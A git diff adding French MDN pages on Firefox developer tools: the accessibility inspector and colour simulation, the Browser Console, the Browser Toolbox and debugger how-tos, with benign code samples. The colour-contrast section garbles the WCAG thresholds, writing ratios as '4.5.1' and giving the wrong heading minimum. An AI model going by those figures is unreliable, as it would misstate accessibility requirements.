Note : Certains éléments du DOM n'ont pas de propriétés d'accessibilité. Dans ces cas, l'option Inspecter les propriétés d'accessibilité du menu sera masquée.

+
+ +

Mise en avant des éléments

+ +

Dans le panneau « Accessibilité », lorsque la souris survole un élément d'accessibilité, on peut voir un surlignage semi-transparent qui recouvre l'élément sur la page. Le nom et le rôle de l'élément seront également affichés via une petite barre d'informations au-dessus de l'élément, au côté d'information de contraste de couleur si approprié. On peut ainsi facilement déterminer la correspondance entre les éléments de la page et les éléments de l'arbre d'accessibilité.

+ +

Dans l'exemple suivant, on peut voir que l'image a été surlignée, que son rôle est graphic et que son nom est "Road, Asphalt, Sky, Clouds, Fall". On peut également voir le ratio de contraste des couleurs, ici 3.46, qui apparaît dans la barre d'informations au-dessus de l'image.

+ +

+ +

Contraste des couleurs

+ +

Le ratio de contraste est une information particulièrement utile lors de la conception de la palette de couleurs d'un site web. En effet, si les couleurs ne sont pas suffisamment contrastées, les lecteurs souffrant d'un handicap visuel (daltonisme par exemple) ne pourront pas lire le texte de la page. Les règles d'accessibilité web, Web Content Accessibility Guidelines (WCAG) 1.4, indique pour une conformité AA, que le niveau de contraste 4.5.1 est le ratio minimal à respecter entre une couleur de premier plan et une couleur d'arrière-plan pour le texte standard et 4.5.1 pour les titres (critère 1.4.3). Pour une conformité AAA, les rations sont 7.1 pour le texte, et 4.5.1 pour les titres (critère 1.4.6).
+
+ Par exemple :

+ +

A screenshot of colour contrast highlighter where text contrast if below the AA WCAG threshold.

+ +

Le contraste des couleurs du texte sur l'image est de 2.86. Cette valeur, trop faible, indique que le contraste peut ne pas être suffisant pour la lecture. On peut également voir dans cette illustration le symbole triangulaire qui alerte sur le non-respect des règles d'accessibilité.

+ +

À partir de Firefox 65, afficher cette information pour un texte aillant une image de fond complexe (i.e un dégradé), donnera une plage de valeurs de contraste. Par exemple :

+ +

 

+ +

A screenshot of colour contrast highlighter where for text over gradient background with contrast satisfying the AAA WCAG guidelines.

+ +

 

+ +

On voit avec cette image que le niveau de contraste va de 4.72 à 5.98. Ces nombres sont suivis de la note "AAA" et d'une coche verte qui indique que le texte possède un niveau de contraste supérieur ou égal à 4.5:1 ou plus et qu'il respecte les règles de contraste amélioré, correspondant au niveau AAA.

+ +

Voir les bonnes pratiques d'accessibilité CSS et JavaScript pour plus d'informations.

+ +

Sélecteur d'accessibilité

+ +

Le panneau Inspecteur pour l'inspection du code HTML possède un sélecteur qui permet de choisir un élément sur la page et de le retrouver dans le DOM. De même, le panneau  Accessibilité possède un bouton de sélection sur lequel on peut appuyer pour ensuite survoler la page et choisir un des éléments affichés afin de retrouver l'élément dans le panneau dans l'arbre d'accessibilité.

+ +

Les icônes pour les deux sélecteurs (accessibilité et inspecteur HTML) varient légèrement, comme on peut le voir dans ces deux captures d'écran :

+ +

Le bouton pour l'inspecteur du DOM est encadré et on peut voir la bulle d'informations « Sélectionner un élément de la page »

+ +

Le bouton de l'inspecteur d'accessibilité est encadré en rouge et on peut voir la bulle d'informations « Sélectionner un objet accessible de la page »

+ +

Lorsqu'on clique sur un élément de la page grâce à ce sélecteur, on peut voir l'élément sélectionné dans l'arbre d'accessibilité du panneau et le sélecteur est alors désactivé. Pour garder le sélecteur actif tout en voyant les éléments ciblés mis en avant dans l'arbre d'accessibilité, vous pouvez maintenir la touche Maj lors du ciblage (l'arbre d'accessibilité pointera vers l'élément survolé tant que la touche Maj sera enfoncée).

+ +

Lorsque le sélecteur est activé, vous pouvez le désactivé en appuyant à nouveau sur le bouton ou en appuyant sur la touche Esc.

+ +

Scénarios d'utilisation

+ +

L'inspecteur d'accessibilité peut s'avérer particulièrement utile pour localiser les problèmes d'accessibilité. On peut l'utiliser pour dénicher les éléments qui n'ont pas d'équivalent textuel correct (les images sans attribut alt ou les champs de formulaire sans libellé), car ils auront la propriété name qui vaudra null. Par exemple :

+ +

Un champ de formulaire surligné dans la page et pour lequel les informations sont affichées dans le panneau accessibilité où on voit que la propriété name est null car cet élément n'a pas de libellé associé

+ +

Cet outil est également utile pour vérifier la sémantique des éléments. On peut utiliser le menu contextuel « Inspecter les propriétés d'accessibilité » afin de vérifier rapidement si un élément possède le bon rôle (autrement dit : est-ce qu'un bouton est vraiment indiqué comme un bouton ? est-ce qu'un lien apparaît réellement comme un lien ? etc..

+ +

Un élément d'interface qui ressemble à un bouton mais pour lequel les informations affichées dans le panneau accessibilité montrent qu'il n'est pas un bouton mais un élément de section pour lequel la propriété name vaut null

+ +

Voir aussi

+ + diff --git a/files/fr/tools/accessibility_inspector/simulation/index.html b/files/fr/tools/accessibility_inspector/simulation/index.html new file mode 100644 index 0000000000..5247d65941 --- /dev/null +++ b/files/fr/tools/accessibility_inspector/simulation/index.html @@ -0,0 +1,96 @@ +--- +title: Simulation +slug: Outils/Inspecteur_accessibilite/Simulation +tags: + - Accessibilité + - DevTools + - Guide + - Inspecteur Accessibilié + - Outils + - Simulation + - couleur +translation_of: Tools/Accessibility_inspector/Simulation +--- +

Le simulateur dans l'inspecteur de l'accessibilité des outils de développement de Firefox vous permet de voir à quoi ressemblerait une page web pour les utilisateurs souffrant de diverses formes de déficience de la perception des couleurs (« dyschromatopsie » plus connue sous le nom de « daltonisme »), ainsi que de perte de sensibilité au contraste.

+ +

La plupart des personnes atteintes de daltonisme peuvent voir les couleurs, mais ne voient pas toutes les distinctions que les personnes ayant une vision normale des couleurs peuvent voir. Les déficiences de la vision des couleurs affectent la perception de tout le spectre des couleurs, et pas seulement de certaines couleurs spécifiques comme le rouge ou le vert. Les déficiences de la vision des couleurs affectent environ 8 % des hommes et 0,5 % des femmes. Les formes les plus courantes de daltonisme (communément regroupées sous le nom de « daltonisme rouge-vert ») touchent plus d'hommes que de femmes, car elles sont dues à une mutation d'un gène du chromosome X, dont les hommes ne possèdent qu'une copie.

+ +

La perte de sensibilité aux contrastes peut être causée par la cataracte, le glaucome, la rétinopathie diabétique et d'autres troubles de la rétine ; elle peut être liée à l'âge, d'origine congénitale ou due à une blessure.

+ +
+

Pour activer cette fonctionnalité vous devez avoir activé le webrender. Selon votre configuration de Firefox il peut être activé par défaut. Dans l'éditeur de configuration de Firefox, assurez-vous que l'option gfx.webrender.all est définie sur true.

+
+ +

Dans le menu Simuler, vous pouvez choisir une option à la fois dans la liste suivante :

+ +
    +
  • Aucun — choisissez cette option pour revenir à un affichage normal ;
    • +
  • Protanomalie (rouge faible) ;
    • +
  • Deutéranomalie (vert faible) ;
    • +
  • Tritanomalie (bleu faible) ;
    • +
  • Protanopie (pas de rouge) ;
    • +
  • Deutéranopie (pas de vert) ;
    • +
  • Tritanopie (pas de bleu) ;
    • +
  • Perte de contraste ;
    • +
+ +
+

Ces simulations de ne sont pas tout à fait exactes sur le plan médical. Cependant, elles peuvent vous donner une idée de ce à quoi ressemble votre site web pour les utilisateurs ayant des troubles de la vision, et donc vous aider à juger si vous devez faire des ajustements dans vos choix de couleurs et/ou de contrastes.

+
+ +

Le tableau suivant montre une image colorée d'une tête de chat, et à quoi elle ressemble dans les différentes simulations.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SimulationImage affichée
AucunColorful image of a cat's face, without modification
Protanomalie (rouge faible)Colorful image of a cat's face, with deuteranomaly simulation
Deutéranomalie (vert faible)Colorful image of a cat's face, with deuteranomaly simulation
Tritanomalie (bleu faible)Colorful image of a cat's face, with tritanomaly simulation
Protanopie (pas de rouge)Colorful image of a cat's face, with protanopia simulation
Deutéranopie (pas de vert)Colorful image of a cat's face, with deuteranopia simulation
Tritanopie (pas de bleu)Colorful image of a cat's face, with tritanopia simulation
Perte de contrasteColorful image of a cat's face, with contrast loss simulation
+ +

Voir aussi

+ + diff --git a/files/fr/tools/accessing_the_developer_tools/index.html b/files/fr/tools/accessing_the_developer_tools/index.html new file mode 100644 index 0000000000..648bfbea9a --- /dev/null +++ b/files/fr/tools/accessing_the_developer_tools/index.html @@ -0,0 +1,21 @@ +--- +title: Le Menu Développement +slug: Outils/Accessing_the_Developer_Tools +translation_of: Tools/Accessing_the_Developer_Tools +--- +
{{ToolsSidebar}}

Le menu "Développement" est le moyen principal d'accéder aux outils de développement qui sont intégrés à Firefox. Sous OS X et Linux, ce menu est un sous menu du menu "Outils" :

+ +

+ +

Sous Windows, il est directement dans le menu de Firefox :

+ +

+ +

Le menu "Développement" est découpé en quatre parties :

+ +
    +
  • La première partie liste les outils qui sont présent dans la Boite à outils, qui est une fenêtre dédiée aux outils de développement.
    • +
  • La deuxième partie liste les outils intégrés à Firefox, mais qui ne sont pas dans la Boite à outils, ainsi que les outils qui sont des modules complémentaires.
    • +
  • La troisième partie est un lien pour obtenir plus d'outils.
    • +
  • La quatrième partie est un lien pour travailler hors ligne.
    • +
diff --git a/files/fr/tools/browser_console/index.html b/files/fr/tools/browser_console/index.html new file mode 100644 index 0000000000..7125ea0544 --- /dev/null +++ b/files/fr/tools/browser_console/index.html @@ -0,0 +1,195 @@ +--- +title: Console JavaScript +slug: Outils/Console_JavaScript +tags: + - Browser + - Debugging + - Tools + - Web Development + - 'WebDevelopment:Tools' +translation_of: Tools/Browser_Console +--- +
{{ToolsSidebar}}
+ +
+

La Console du navigateur est au navigateur entier ce qu'est la Console Web à une page web.

+ +

Elle logue le même type d'information de la Console Web : Requêtes réseaux, JavaScript, CSS, erreurs et avertissement de sécurité, messages logués par du code JavaScript. Cependant, au lieu de loguer cette information pour un seul onglet, la console logue l"information de tout les onglets courants, de tout les modules complémentaires et du propre code du navigateur.

+ +

Si vous voulez également utiliser les autres outils de développement de la Boite à outils Web sur les modules complémentaires ou le code du navigateur, vous pouvez utiliser la Boite à outils du navigateur.

+ +

Comme la Console Web, la Console du navigateur peut exécuter des expressions JavaScript. Cependant, contrairement à la Console Web qui exécute le code dans le contexte de la page, la Console du navigateur, elle, l'exécute dans le contexte de la fenêtre du navigateur. Cela veut dire que vous pouvez interagir avec chaque onglet du navigateur, en utilisant la variable globale gBrowser. Il est même possible d’interagir avec le XUL utilisé pour spécifier l'interface utilisateur du navigateur.

+ +
+

NB : La ligne de commande de la Console du navigateur (pour exécuter des expressions JavaScript) est désactivée par défaut. Pour l'activer, il faut passer la préférence devtools.chrome.enabled à true dans about:config, ou cocher l'option "Activer le débogage du chrome du navigateur et des modules" dans les options des outils de développement.

+
+ +

Ouvrir la Console du navigateur

+ +

Il est possible d'ouvrir la Console du navigateur de deux façons différentes :

+ +
    +
  1. Depuis le menu Firefox : Il faut sélectionner "Console du navigateur" dans le menu "'Développement" (sous macOS, le menu "Développement" est un sous menu du menu "Outils")
    2. +
  2. Utiliser le raccourci clavier : Ctrl+Maj+J sur Windows et Cmd+Maj+J sur Mac.
    3. +
+ +

Alternativement, il est possible d'ouvrir la Console du navigateur en laçant Firefox en ligne de commande avec l'argument

+ +
/Applications/FirefoxAurora.app/Contents/MacOS/firefox-bin -jsconsole
+ +

La Console du navigateur ressemble a ceci :

+ + + +

+ + + +

Comme vous pouvez le constater, la Console du navigateur ressemble et se comporte comme la Console Web :

+ + + +

À partir de Firefox 68, la console du navigateur permet d'afficher ou de cacher les messages de contenu (les messages des scripts de toutes les pages ouvertes). Il suffit pour cela de cocher la case "Afficher les messages de contenu". L'image suivante montre la même page, mais avec la case cochée :

+ +

+ + + +

Messages de la Console du navigateur

+ +

La Console du navigateur affiche le même type de messages que la Console Web. Elle affiche donc :

+ + + +

Cependant, la Console du Navigateur affiche les messages venant du :

+ +
    +
  • Contenu web contenu dans tous les onglets du navigateur
    • +
  • Code du navigateur
    • +
  • Contenu des modules complémentaires.
    • +
+ +

Messages des modules complémentaires

+ +

La Console du navigateur affiche les messages envoyés par chaque module complémentaire de Firefox.

+ +

Console.jsm

+ +

Pour utiliser l'API console depuis un modèle complémentaire traditionnel, il faut l'obtenir grâce au module "Console".

+ +

Un mot réservé importé par Console.jsm est "console". L'exemple ci-dessous accède au module puis ajoute un message dans la Console du navigateur :

+ +
Components.utils.import("resource://gre/modules/Console.jsm");
+console.log("Hello from Firefox code"); //output messages to the console
+ +

Pour en savoir plus :

+ + + +

HUDService

+ +

HUDService permet également d'accéder à la Console du navigateur. Ce module est disponible dans Mozilla DXR. Ce module permet non seulement d’accéder à la Console du navigateur, mais également à la Console Web.

+ +

Voici un exemple qui explique comment effacer le contenu de la Console du navigateur :

+ +
Components.utils.import("resource://devtools/shared/Loader.jsm");
+var HUDService = devtools.require("devtools/client/webconsole/hudservice");
+
+var hud = HUDService.getBrowserConsole();
+hud.jsterm.clearOutput(true);
+ +

Il est possible d'accéder au contexte du document de la Console du navigateur avec HUDService. L'exemple ci-dessous efface la contenu de la Console du navigateur quand l'utilisateur survole le bouton "Clear" :

+ +
Components.utils.import("resource://devtools/shared/Loader.jsm");
+var HUDService = devtools.require("devtools/client/webconsole/hudservice");
+
+var hud = HUDService.getBrowserConsole();
+
+var clearBtn = hud.chromeWindow.document.querySelector('.webconsole-clear-console-button');
+clearBtn.addEventListener('mouseover', function() {
+  hud.jsterm.clearOutput(true);
+}, false);
+ +

Fonctionnalités bonus disponibles

+ +

Pour les modules complémentaires utilisant le Add-on SDK, l'API console est disponible automatiquement. Voici un exemple de module complémentaire qui affiche une erreur quand l'utilisateur clique sur un widget :

+ +
widget = require("sdk/widget").Widget({
+  id: "an-error-happened",
+  label: "Error!",
+  width: 40,
+  content: "Error!",
+  onClick: logError
+});
+
+function logError() {
+  console.error("something went wrong!");
+}
+ +

Compiler ceci en tant que fichier XPI, puis ouvrir la Console du navigateur, puis ouvrir le fichier XPI dans Firefox et l'installer fera apparaître un widget nommé "Error!" dans la barre des modules complémentaires :

+ +

Cliquer sur l’icône affichera ce message dans la console :

+ +

+ +

Les messages des modules complémentaires basés sur le Add-on SDK sont préfixés par le nom du module complémentaire (ici "log-error"), rendant ainsi la recherche de ces messages facile grâce à la boite de filtrage. Par défaut, seuls les messages d’erreur sont affichés dans la console. Il est cependant possible de changer cela dans préférences du navigateur.

+ +

Ligne de commande de la Console du navigateur

+ +
+

La ligne de commande de la Console du navigateur est désactivée par défaut. Pour l'activer, il faut passer la préférence devtools.chrome.enabled à true dans about:config, ou cocher l'option "Activer le débogage du chrome du navigateur et des modules" dans les options des outils de développement.

+
+ +

Comme la Console Web, l'interpréteur de ligne de commande permet d'évaluer des expressions JavaScript en temps réel :Comme la Console Web, elle supporte également l'autocomplétion, l'historique, de nombreux raccourcis clavier et des fonctions d'aide. Si le résultat d'une commande est un objet, Il est possible de cliquer dessus pour voir ses détails.

+ +

Alors que la Console Web exécute le code dans le contexte de la page à laquelle elle est rattachée, la Console du navigateur elle exécute le code dans la contexte du navigateur. Il est possible de vérifier cela en évaluant l'objet window :

+ +

+ +

Cela signifie qu'il est possible de contrôler le navigateur, il est ainsi possible de : ouvrir et fermer onglets et fenêtres, changer leur contenu et modifier l'interface utilisateur en créant, modifiant ou supprimant des éléments XUL.

+ +

Contrôler le navigateur

+ +

L'interpréteur de ligne de commande a accès à l'objet tabbrowser à travers la variable globale gBrowser. Cela permet de contrôler le navigateur via ligne de commande. Entrer ce code dans la ligne de commande de la Console du navigateur modifiera l’onglet ouvert puis redirigera automatiquement vers le site de Mozilla (bon à savoir, pour sauter une ligne dans l'interpréteur, utilisez le Maj+Entrée) :

+ +
var newTabBrowser = gBrowser.getBrowserForTab(gBrowser.selectedTab);
+newTabBrowser.addEventListener("load", function() {
+  newTabBrowser.contentDocument.body.innerHTML = "<h1>this page has been eaten</h1>";
+}, true);
+newTabBrowser.contentDocument.location.href = "https://mozilla.org/";
+ +

Cela ajoute un écouteur sur l'évènement load qui absorbera la nouvelle page puis chargera la nouvelle page.

+ +
+

Il est possible de relancer le navigateur avec avec la commande Ctrl + Alt + R (Windows, Linux) ou Cmd + Alt + R (Mac). Cette commande redémare le navigateur avec les même onglets qu'avant le rédémarage.

+
+ +

Modifier l'interface utilisateur du navigateur

+ +

Étant donné que l’objet window correspond au chrome du navigateur, il est possible de modifier l'interface utilisateur du navigateur. Sur Windows, le code suivant ajoutera un nouvel objet au menu principal du navigateur. (Attention, ce code ne marche pas dans les versions récentes de Firefox) :

+ +
var parent = window.document.getElementById("appmenuPrimaryPane");
+var makeTheTea = gBrowser.ownerDocument.defaultView.document.createElementNS("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul", "menuitem");
+makeTheTea.setAttribute("label", "A nice cup of tea?");
+parent.appendChild(makeTheTea);
+ +

Sur macOS, ce code ajoutera un objet au menu "Tools" :

+ +
var parent = window.document.getElementById("menu_ToolsPopup");
+var makeTheTea = gBrowser.ownerDocument.defaultView.document.createElementNS("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul", "menuitem");
+makeTheTea.setAttribute("label", "A nice cup of tea?");
+parent.appendChild(makeTheTea);
+ +

+
diff --git a/files/fr/tools/browser_toolbox/index.html b/files/fr/tools/browser_toolbox/index.html new file mode 100644 index 0000000000..1d8cb4f77c --- /dev/null +++ b/files/fr/tools/browser_toolbox/index.html @@ -0,0 +1,77 @@ +--- +title: Boîte à outils du navigateur +slug: Outils/Boîte_à_outils_du_navigateur +tags: + - Debug + - Firefox + - JavaScript +translation_of: Tools/Browser_Toolbox +--- +
{{ToolsSidebar}}
+ +

La boite à outils du navigateur, permet de déboguer des modules complémentaires ainsi que le code JavaScript du navigateur lui-même, contrairement à la boite à outils normale qui ne fonctionne que pour les pages ordinaires. Ainsi, le contexte de la boite à outils du navigateur est le navigateur entier au lieu d'une simple page d'un seul onglet.

+ +
+

Note: Pour déboguer un module qui ne nécessite pas de redémarrage ou qui se base sur un SDK, il vaut mieux utiliser le Débogeur de modules. Pour les modules qui n'ont pas ces deux caractéristiques, la boite à outils du navigateur est suffisante.

+
+ +

Activer la boite à outils du navigateur

+ +
+

La boite à outils du navigateur n'est pas activée par défaut. Pour l'activer, il est nécessaire de cocher les options: "Activer le débogage du chrome du navigateur et des modules" et "Activer le débogage distant".

+ +

Ces options se trouvent dans les options des outils de développement, dans la section "Paramètres avancés" :

+ +

Developer Tools Settings

+
+ +

Ouvrir la boite à outils du navigateur

+ +

Il est possible d'ouvrir la boite, en ouvrant le menu (bouton new fx menu ) puis en ouvrant le menu "Développement", puis en choisissant "Boite à outils du contenu du navigateur".

+ +

Depuis Firefox 39, il est également possible d'utiliser le raccourci clavier Ctrl + Alt +Maj + I ( Cmd + Opt +Maj + I sur un Mac).

+ +

Une pop-up s'ouvrira alors (ce comportement peut être désactivé en passant la propriété devtools.debugger.prompt-connection à false dans about:config) :

+ +

Cliquer sur OK, ouvrira la boite à outils du navigateur dans sa propre fenêtre :

+ +

Il est alors possible d'inspecter le chrome du navigateur ainsi que de voir et déboguer tous les fichiers chargés par le navigateur lui-même et par tous les modules qui sont fonctionnels. Les outils disponibles sont les suivants :

+ + + +

Il est possible de déboguer les pages chrome: et about: en utilisant le Débogueur normal, comme si il s'agissait de pages de contenu ordinaires.

+ +

Cibler un document

+ +

dans la boite à outils normaux, il y a un bouton dans la barre d'outils qui permet de cibler des iframes spécifiques dans le document. Le même bouton apparaît dans la boîte à outils du navigateur où il liste toutes les fenêtres de chrome et de contenu de niveau supérieur ainsi que les iframes qu'elles contiennent. Cela vous permet d'inspecter les documents dans des fenêtres chromées et des fenêtres contextuelles individuelles, ainsi que dans des onglets de contenu.

+ +

Voici par exemple ce que le bouton liste lorsqu'il y a deux fenêtres ouvertes, l'une avec un seul onglet, l'autre avec deux :

+ +

+ +

Déboguer des popups

+ +

Il est difficile de déboguer les popups, car le navigateur les cache dès que vous cliquez en dehors d'eux. Il existe un moyen de désactiver ce comportement. Cliquez sur le menu de la boîte à outils et sélectionnez Désactiver le masquage automatique des popups.

+ +

 

+ +

+ +

Maintenant, lorsque vous ouvrez une fenêtre pop-up, elle reste ouverte jusqu'à ce que vous appuyiez sur la touche Echap  . Vous pouvez utiliser le sélecteur de nœuds de l'Inspecteur pour sélectionner ce panneau, puis examiner et modifier son contenu :

+ +

{{EmbedYouTube("6edXcunw4jM")}}

+ +

Il est possible d'utiliser la même technique pour déboguer les pop-up crées par les modules.

+ +
+

Note: Ce changement n'est pas persistant au redémarrage du navigateur. Lorsque vous fermez la boîte à outils du navigateur, le réglage est effacé.

+
diff --git a/files/fr/tools/debugger/break_on_dom_mutation/index.html b/files/fr/tools/debugger/break_on_dom_mutation/index.html new file mode 100644 index 0000000000..5ab981337b --- /dev/null +++ b/files/fr/tools/debugger/break_on_dom_mutation/index.html @@ -0,0 +1,25 @@ +--- +title: S’arrêter sur un évènement DOM +slug: Outils/Débogueur/Comment/S_arrêter_sur_un_évènement_DOM +translation_of: Tools/Debugger/Break_on_DOM_mutation +translation_of_original: Tools/Debugger/How_to/Break_on_a_DOM_event +--- +
{{ToolsSidebar}}
+ +
+

Cette fonctionnalité n'est pas encore supportée par le nouveau Débogueur.

+ +

La documentation de l'ancienne version du Débogueur est disponible sur la page Débogueur (avant Firefox 52).

+
+ +

Si vous écoutez un évènement DOM, Il est possible d'indiquer au débogueur de s'arrêter lorsque l'événement est lancé, sans avoir besoin de chercher l'écouteur et de mettre un point d'arrêt manuellement.

+ +

Il faut d’abord cliquer sur le bouton "Développer les panneaux" de la barre d'outils (juste à gauche des options). Cela ouvre le panneau partagé par les variables et les événements. Il faut ensuite cliquer sur l'onglet « Événements » cela affiche le panneau des événements. Ce panneau liste tout les évènements auxquels vous avez assigné un écouteur :

+ +

+ +

Il n'y a plus qu'a cocher à la case à coté de l'évènement ou vous désirez que votre code s’arrête.

+ +

Quand l'évènement est lancé, le code s’arrêtera au début de l'écouteur.

+ +

{{EmbedYouTube("f-tbR8kj0K0")}}

diff --git a/files/fr/tools/debugger/how_to/access_debugging_in_add-ons/index.html b/files/fr/tools/debugger/how_to/access_debugging_in_add-ons/index.html new file mode 100644 index 0000000000..5c14593f5f --- /dev/null +++ b/files/fr/tools/debugger/how_to/access_debugging_in_add-ons/index.html @@ -0,0 +1,26 @@ +--- +title: Accéder au débogage depuis un module complémentaire +slug: Outils/Débogueur/Comment/Accéder_au_débogage_depuis_un_module_complàmentaire +translation_of: Tools/Debugger/How_to/Access_debugging_in_add-ons +--- +
{{ToolsSidebar}}
+

Il est prévu de déprécier l'utilisation des techniques décrites dans ce document. Merci de ne pas développer de nouveaux modules complémentaires en utilisant ces techniques.

+
+ +

Les objets suivant sont accessibles dans le contexte de chrome://browser/content/debugger.xul (ou, en version beta 23,, chrome://browser/content/devtools/debugger.xul) :

+ +
    +
  • window.addEventListener("Debugger:EditorLoaded") - Appelé quand le panneau des scripts accessible en lecture seule est chargé
    • +
  • window.addEventListener("Debugger:EditorUnloaded")
    • +
+ +

Fichiers en relation :

+ +
    +
  • chrome://browser/content/devtools/debugger-controller.js
    • +
  • chrome://browser/content/devtools/debugger-toolbar.js
    • +
  • chrome://browser/content/devtools/debugger-view.js
    • +
  • chrome://browser/content/devtools/debugger-panes.js
    • +
+ +

Malheureusement, il n'y a pas encore d'API pour évaluer les expressions dans la portée du débogueur, ou pour mettre en surbrillance les éléments de la page qui sont référencés comme variables dans la portée déboguée. C'est actuellement un travail en cours, voir le bug 653545.

diff --git a/files/fr/tools/debugger/how_to/breaking_on_exceptions/index.html b/files/fr/tools/debugger/how_to/breaking_on_exceptions/index.html new file mode 100644 index 0000000000..b009f06df0 --- /dev/null +++ b/files/fr/tools/debugger/how_to/breaking_on_exceptions/index.html @@ -0,0 +1,28 @@ +--- +title: S'arrêter sur les exceptions +slug: Outils/Débogueur/Comment/Breaking_on_exceptions +translation_of: Tools/Debugger/How_to/Breaking_on_exceptions +--- +
{{ToolsSidebar}}
+ +

Firefox version 64

+ +
Pour que le Débogueur s'arrête sur les exceptions, il suffit de cliquer sur une de ces cases à cocher dans la Liste des points d'arrêt :
+ +
 
+ +
Screen shot from 64.0+build3-0ubuntu0.16.04.1
+ +

Versions antérieures

+ +

Pour que le Débogueur s'arrête sur les exceptions, Il faut cliquer sur ce bouton : dans la barre d'outils.

+ +

{{EmbedYouTube("UWIO_UM827k")}}

+ +

Le bouton à trois états possibles, cliquer sur celui-ci passe d'un état au suivant.

+ +

: ne s'arrête sur aucune exception. C'est l'état par défaut.

+ +

: ne s'arrête que les exceptions qui ne sont pas attrapées.

+ +

: s'arrête sur toutes les exceptions.

diff --git a/files/fr/tools/debugger/how_to/debug_eval_sources/index.html b/files/fr/tools/debugger/how_to/debug_eval_sources/index.html new file mode 100644 index 0000000000..e0c305f21a --- /dev/null +++ b/files/fr/tools/debugger/how_to/debug_eval_sources/index.html @@ -0,0 +1,29 @@ +--- +title: Déboguer des sources évaluées +slug: Outils/Débogueur/Comment/Déboguer_des_sources_évaluées +translation_of: Tools/Debugger/How_to/Debug_eval_sources +--- +
{{ToolsSidebar}}
+ +

Il est possible de déboguer du code JavaScript qui à été évalué dynamiquement, soit en étant passé sous forme de chaine de caractère à la fonction eval(), soit en étant passé sous forme de chaine caractère au constructeur d'une Function.

+ +

Dans la vidéo ci-dessous, un page contenant le code source suivant est chargée :

+ +
var script = `function foo() {
+               console.log('called foo');
+             }
+             //# sourceURL=my-foo.js`;
+
+eval(script);
+
+var button = document.getElementById("foo");
+button.addEventListener("click", foo, false);
+
+ +

Cela nome le script "mon-foo.js"en utilisant l'instruction //# sourceURL. Cette source est alors listée dans le panneau de la liste des sources, et peut être ouverte comme n'importe quelle source.

+ +

{{EmbedYouTube("nFm8F8Anmic")}}

+ +

Le nom du script apparaitra également dans la pile d'exécution dans la Console Web.

+ +

Le Débogueur s’arrêtera également aux expressions debugger; dans les sources évaluées anonymes

diff --git a/files/fr/tools/debugger/how_to/disable_breakpoints/index.html b/files/fr/tools/debugger/how_to/disable_breakpoints/index.html new file mode 100644 index 0000000000..5ca12ea619 --- /dev/null +++ b/files/fr/tools/debugger/how_to/disable_breakpoints/index.html @@ -0,0 +1,16 @@ +--- +title: Désactiver des point d'arrêts +slug: Outils/Débogueur/Comment/Désactiver_des_points_d_arrêts +translation_of: Tools/Debugger/How_to/Disable_breakpoints +--- +
{{ToolsSidebar}}
+ +

Pour désactiver un point d'arrêt spécifique, il suffit de décocher la case à cocher à côté du point d'arrêt dans la liste des points d'arrêt.

+ +

Pour désactiver tous les points d'arrêts, il suffit cliquer sur cette icône : dans la barre d'outils.

+ +

{{EmbedYouTube("ULoZ70XPd90")}}

+ +

Après avoir désactivé un point d'arrêt, sa couleur sera plus claire avec une bordure foncée. Par exemple :

+ +

diff --git a/files/fr/tools/debugger/how_to/highlight_and_inspect_dom_nodes/index.html b/files/fr/tools/debugger/how_to/highlight_and_inspect_dom_nodes/index.html new file mode 100644 index 0000000000..4c0299205c --- /dev/null +++ b/files/fr/tools/debugger/how_to/highlight_and_inspect_dom_nodes/index.html @@ -0,0 +1,16 @@ +--- +title: Afficher en surbrillance et inspecter les nœuds DOM +slug: Outils/Débogueur/Comment/Afficher_en_surbrillance_et_inspecter_le_DOM +translation_of: Tools/Debugger/How_to/Highlight_and_inspect_DOM_nodes +--- +
{{ToolsSidebar}}
+

Cette fonctionnalité n'est pas encore supportée par le nouveau Débogueur. Si vous avez besoin de l'utiliser, il faut changer la préférence "devtools.debugger.new-debugger-frontend" dans about:config (page interne du navigateur)

+ +

La documentation de l'ancienne version du Débogueur est disponible sur la page Débogueur (avant Firefox 52).

+
+ +

Si vous survolez un nœud DOM dans le panneau des variables, il sera affiché en surbrillance dans la page :

+ +

De plus, une icône en forme de cible apparaitra à côté de la variable. Cliquer sur cette icône, ouvrira l'Inspecteur avec l'élément DOM sélectionné.

+ +

{{EmbedYouTube("0JWxXp2Qql8")}}

diff --git a/files/fr/tools/debugger/how_to/ignore_a_source/index.html b/files/fr/tools/debugger/how_to/ignore_a_source/index.html new file mode 100644 index 0000000000..2af7f19958 --- /dev/null +++ b/files/fr/tools/debugger/how_to/ignore_a_source/index.html @@ -0,0 +1,24 @@ +--- +title: Mettre une source dans une boîte noire +slug: Outils/Débogueur/Comment/Mettre_une_source_dans_une_boîte_noire +translation_of: Tools/Debugger/How_to/Ignore_a_source +--- +
{{ToolsSidebar}}
+ +

Dans le développement web moderne, il est courant de s'appuyer sur des bibliothèques tels que jQuery, Ember, ou Angular, et 99% du temps on peut supposer qu'elles fonctionnent parfaitement. On ne se soucie alors pas de l'implémentation interne de ces librairies : on les considère comme des boites noires. Cependant l'abstraction des bibliothèques « cède » lors des sessions de débogage lorsqu'on est forcé de passer par des piles d'appels utilisant la bibliothèque pour accéder à son propre code. Avec le système de boite noire, il est possible d'indiquer au débogueur d'ignorer les détails des sources sélectionnées.

+ +

Il est possible de mettre/enlever une source dans une boîte noire en sélectionnant la source dans le panneau de la liste des sources puis en cliquant sur l'icône en forme d'œil en bas à gauche :

+ +

+ +

Il est possible de placer plusieurs fichiers sources dans des boîtes noires en ouvrant la Barre de développement  et utilisant la commande   dbg blackbox :

+ +

+ +

Quand une source est mise dans une boîte noire :

+ +
    +
  • Tous les points d'arrêt concernant ce(s) fichier(s) sont désactivés.
    • +
  • Lorsque l'option « Pause sur les exceptions » dans les options du Débogueur est activée, le débogueur ne s'arrêtera pas lorsqu'une exception est levée par une source dans une boite noire. Dans ce cas, le débogueur attendra que la pile arrive à une frame dans une source qui n'est pas dans une boîte noire.
    • +
  • Lors d'un débogage pas à pas, le débogueur passera sans s'arrêter dans une source mis en boîte noire.
    • +
diff --git a/files/fr/tools/debugger/how_to/index.html b/files/fr/tools/debugger/how_to/index.html new file mode 100644 index 0000000000..4b9f36e8fe --- /dev/null +++ b/files/fr/tools/debugger/how_to/index.html @@ -0,0 +1,12 @@ +--- +title: Comment faire… +slug: Outils/Débogueur/Comment +tags: + - TopicStub +translation_of: Tools/Debugger/How_to +--- +
{{ToolsSidebar}}
+ +

Ces articles décrivent comment utiliser le débogueur.

+ +

{{ ListSubpages () }}

